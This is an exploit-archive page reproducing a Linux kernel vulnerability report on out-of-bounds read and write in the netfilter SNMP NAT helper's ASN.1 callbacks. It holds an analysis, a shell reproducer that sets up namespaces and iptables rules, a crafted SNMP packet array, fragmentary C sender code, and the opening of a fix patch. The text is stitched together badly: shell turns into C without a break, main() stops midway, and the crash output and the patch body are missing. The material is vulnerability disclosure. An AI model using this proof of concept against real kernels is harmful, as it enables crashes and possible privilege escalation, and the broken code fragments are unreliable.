Linux < 4.14.103 / < 4.19.25 outofbounds read and write in snmp nat module Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-03-01 |
Type : dos |
Platform : linux
This exploit / vulnerability Linux < 4.14.103 / < 4.19.25 outofbounds read and write in snmp nat module is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
commit cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library",
first in 4.16) changed the nf_nat_snmp_basic module (which, when enabled, parses
and modifies the ASN.1-encoded payloads of SNMP messages) so that the kernel's
ASN.1 infrastructure is used instead of an open-coded parser. The common ASN.1
decoder can invoke callbacks when certain objects are encountered. The SNMP
helper has two such callbacks defined in nf_nat_snmp_basic.asn1:
- For the `version` field of a `Message` (a `INTEGER`), snmp_version() is
invoked.
- For each `IpAddress` (according to RFC 1155, a 4-byte octet string),
snmp_helper() is invoked.
The problem is that both of these callbacks can be invoked by the ASN.1 parser
with `data` pointing at the end of the packet and `datalen==0` (even though, for
the `INTEGER` type, X.690 says in section 8.3.1 that "The contents octets shall
consist of one or more octets"), but they don't check whether there is
sufficient input available. This means that snmp_version() can read up to one
byte out-of-bounds and leak whether that byte was <=1, and snmp_helper() can
read and potentially also write up to four bytes out-of-bounds.
Unfortunately, KASAN can't detect the out-of-bounds reads because, as was
pointed out in
<https://lore.kernel.org/lkml/552d49b6-1b6e-c320-b56a-a119e360f1d7@gmail.com/>
regarding a (harmless) out-of-bounds read in the TCP input path, the kernel
stores a `struct skb_shared_info` at the end of the socket buffer allocation,
directly behind the packet data. The kernel can only detect that a problem
occurred based on the later effects of an out-of-bounds write.
It might be a good idea to explicitly add some KASAN poison between the head
data and struct skb_shared_info to make it easier for kernel fuzzers to discover
issues like this in the future.
There are two scenarios in which this bug might be attacked:
- A router that performs NAT translation is explicitly set up to invoke the
SNMP helper, and a device in the NATted network wants to attack the router.
This is probably very rare, since the router would need to be explicitly
configured to perform SNMP translation. On top of that, to corrupt memory,
an attacker would need to be able to completely fill an SKB; it isn't clear
to me whether that is possible remotely.
- A local attacker could exploit the bug by setting up new network namespaces
with an iptables configuration that invokes SNMP translation. This probably
works as a local privilege escalation against some distribution kernels.
The normal autoloading path for this code was only set up in
commit 95c97998aa9f ("netfilter: nf_nat_snmp_basic: add missing helper alias
name", first in 4.20), but from a glance, it looks like it would be possible
on kernels before 4.20 to instead first load one of the openvswitch module's
aliases "net-pf-16-proto-16-family-ovs_*" through ctrl_getfamily(), then use
ovs_ct_add_helper() to trigger loading of "nf_nat_snmp_basic" through the
alias "ip_nat_snmp_basic".
The following is a reproducer for a git master build that causes a kernel oops
(nf_nat_snmp_basic must be compiled into the kernel, or built as a module, I
think):
======================================================================
#!/bin/sh
unshare -mUrnp --mount-proc --fork bash <<SCRIPT_EOF
set -e
set -x
# make "ip netns" work in here
mount -t tmpfs none /var/run/
cd /var/run
# this namespace is the router with NAT
ip link set dev lo up
echo 1 > /proc/sys/net/ipv4/ip_forward
/sbin/iptables -t nat -A POSTROUTING -o veth0 -j MASQUERADE
/sbin/iptables -t raw -A PREROUTING -p udp --dport 162 -j CT --helper snmp_trap
/sbin/iptables -A FORWARD -m conntrack --ctstate INVALID,NEW,RELATED,ESTABLISHED,SNAT,DNAT -m helper --helper snmp_trap -j ACCEPT
# this namespace is the destination host for the SNMP trap message
ip netns add netns1
nsenter --net=/var/run/netns/netns1 ip link set dev lo up
ip link add veth0 type veth peer name veth1
ip link set veth1 netns netns1
nsenter --net=/var/run/netns/netns1 /sbin/ifconfig veth1 192.168.0.2/24 up
/sbin/ifconfig veth0 192.168.0.1/24 up
# this namespace sends the SNMP trap message
ip netns add netns2
nsenter --net=/var/run/netns/netns2 ip link set dev lo up
ip link add veth2 type veth peer name veth3
ip link set veth3 netns netns2
# /31 network, see RFC 3021
# we want *.0.0.0 so that the 3 OOB bytes can be zero
nsenter --net=/var/run/netns/netns2 /sbin/ifconfig veth3 10.0.0.0/31 up
/sbin/ifconfig veth2 10.0.0.1/24 up
nsenter --net=/var/run/netns/netns2 ip route add default via 10.0.0.1
# debug
ip route
nsenter --net=/var/run/netns/netns2 ip route
// "pc X" comments in the following array refer to indices into
// nf_nat_snmp_basic_machine in "nf_nat_snmp_basic.asn1.c", which
// is generated as part of the kernel's build process.
// reading the ASN.1 decoder and the generated machine opcodes
// seemed easier than trying to build ASN.1 by looking at the
// spec or something like that...
uint8_t snmp_packet[] = {
// pc 0: read tag, should match _tag(UNIV, CONS, SEQ) == 0x30
// length indef
0x30, 0x80,
// pc 2: read tag, should match _tag(UNIV, PRIM, INT) == 0x02
// version number
0x02, 0x01,
0x00,
// pc 5: read tag, should match _tag(UNIV, PRIM, OTS) == 0x04
0x04, 0x00,
// pc 7: read tag, should match _tagn(CONT, CONS, 0) == 0xa0
// selects GetRequest-PDU, length indef
0xa0, 0x80,
// pc 34: read INT request-id
0x02, 0x04,
0x00, 0x00, 0x00, 0x00,
// pc 36: read INT error-status
0x02, 0x04,
0x00, 0x00, 0x00, 0x00,
// pc 38: read INT error-index
0x02, 0x04,
0x00, 0x00, 0x00, 0x00,
// ptr 44: read tag, should match _tag(UNIV, PRIM, OID) == 0x06
// ObjectName
// (can use 0x82 as length to have two bytes of length following)
// length chosen so that the end of packet data is directly
// followed by the skb_shared_info, with the whole thing in a
// kmalloc-512 slab.
0x06, 0x70,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
// ptr 46: read tag, should skip
// ptr 48: read tag, should skip
// ptr 50: read tag, should skip
// ptr 52: read tag, should match _tagn(APPL, PRIM, 0) == 0x40
// IpAddress
// we could also use a length of zero, and the callback would still
// be invoked, but we want control over the first byte so that we
// can create a source IP match.
0x40, 0x01,
// source IP 10.0.0.0
0x0a
};
void do_sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) {
int res = sendto(sockfd, buf, len, flags, dest_addr, addrlen);
if (res != len) {
if (res == -1)
err(1, "send failed");
else
errx(1, "partial send?");
}
}
int main(void) {
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == -1) err(1, "socket");
It also works against a Debian testing distro kernel if you first (as root)
set kernel.unprivileged_userns_clone=1 and modprobe nf_nat_snmp_basic; splat:
I suggest the following patch (copy attached with proper whitespace); I have
tested that it prevents my PoC from crashing the kernel, but I haven't tested
whether SNMP NATting still works.
======================================================================
From b94c17fa81f8870885baaec7815eee8b789d2c7b Mon Sep 17 00:00:00 2001
From: Jann Horn <jannh@google.com>
Date: Wed, 6 Feb 2019 22:56:15 +0100
Subject: [PATCH] netfilter: nf_nat_snmp_basic: add missing length checks in
ASN.1 cbs
The generic ASN.1 decoder infrastructure doesn't guarantee that callbacks
will get as much data as they expect; callbacks have to check the `datalen`
parameter before looking at `data`. Make sure that snmp_version() and
snmp_helper() don't read/write beyond the end of the packet data.
(Also move the assignment to `pdata` down below the check to make it clear
that it isn't necessarily a pointer we can use before the `datalen` check.)